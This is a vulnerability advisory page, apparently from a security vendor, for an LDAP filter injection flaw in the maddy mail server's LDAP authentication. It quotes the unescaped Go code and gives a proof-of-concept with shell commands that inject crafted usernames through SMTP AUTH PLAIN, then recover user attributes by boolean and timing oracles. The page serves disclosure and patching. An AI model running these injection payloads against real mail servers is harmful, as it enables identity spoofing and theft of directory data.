CVE-2026-40193 is a high-severity (CVSS 8.2) CWE-90 vulnerability in github.com/foxcpp/maddy. A fix is available for github.com/foxcpp/maddy — see the affected versions and patch details below.
Maddy Mail Server: LDAP Filter Injection via Unsanitized Username
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40193.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-40193 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/foxcpp/maddyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library—already imported in the same file—provides ldap.EscapeFilter() specifically for this purpose, but it is never called.
Patched version
Upgrade to maddy 0.9.3.
Details
Affected file: internal/auth/ldap/ldap.go
Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:
1. Lookup() — line 228 (filter injection)
func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
// ...
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)
2. AuthPlain() — line 255 (DN template injection)
func (a *Auth) AuthPlain(username, password string) error {
// ...
if a.dnTemplate != "" {
userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username) // <-- NO ESCAPING
3. AuthPlain() — line 260 (filter injection)
} else {
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)
The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.
No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.
PoC
Prerequisites:
- A maddy instance configured with
auth.ldapusing afilterdirective - An LDAP directory (e.g., OpenLDAP) with at least one user
- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)
Step 1: Vulnerable maddy configuration
auth.ldap ldap_auth {
urls ldap://ldapserver:389
bind plain "cn=admin,dc=example,dc=org" "adminpassword"
base_dn "ou=people,dc=example,dc=org"
filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}
submission tcp://0.0.0.0:587 {
auth &ldap_auth
# ...
}
Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).
Step 2: Verify normal authentication works
# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)
# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded
Step 3: Boolean-based blind LDAP injection (attribute extraction)
An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.
# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
# → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.
# Test: does bob's description start with "S"?
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"
# Narrow: does it start with "Se"?
INJECTED='bob)(description=Se*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
# ... repeat until full value is extracted
# This works for ANY LDAP attribute: userPassword hashes, mail,
# telephoneNumber, memberOf, etc.
For extracting attributes of other users (whose password the attacker does not know), a timing side-channel is used instead. The AuthPlain() function has two distinct failure paths:
- 0 entries matched (line 270): returns
ErrUnknownCredentialsimmediately — fast - 1 entry matched, bind fails (line 275): performs
conn.Bind()over the network, then returns — slow (adds LDAP bind round-trip latency)
Both return SMTP 535, but the timing difference is measurable:
# Target: extract alice's "description" attribute.
# Attacker does NOT know alice's password.
#
# Injected username: alice)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))
#
# If alice's description starts with "S":
# → 1 match → conn.Bind(alice_DN, "wrong") → bind fails → 535 (SLOW)
# If not:
# → 0 matches → immediate 535 (FAST)
#
# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)
for c in {a..z} {A..Z} {0..9}; do
INJECTED="alice)(description=${c}*"
AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
START=$(date +%s%N)
echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo "char='$c' time=${ELAPSED}ms"
done
# Characters with significantly longer response times indicate a filter match.
Impact
Who is affected: Any maddy deployment that uses the auth.ldap module with either the filter or dn_template directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.
What an attacker can do:
-
Identity spoofing: An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (
connState.AuthUserin SMTP,usernamepassed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream. -
LDAP directory enumeration: By injecting wildcard filters (
*) and observing error responses (e.g., "too many entries" vs. "unknown credentials"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure. -
Attribute value extraction via boolean-based blind injection: An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g.,
bob)(description=X*) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel. -
DN template path traversal: When
dn_templateis used instead offilter(line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.
Credit
Yuheng Zhang, Zihan Zhang, Jianjun Chen and Teatime Lab LTD.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/foxcpp/maddy | all versions | 0.9.3go get github.com/foxcpp/maddy@v0.9.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/foxcpp/maddy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/foxcpp/maddy to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40193 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40193 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40193. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40193 in your dependencies?
O3 Security finds CVE-2026-40193 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.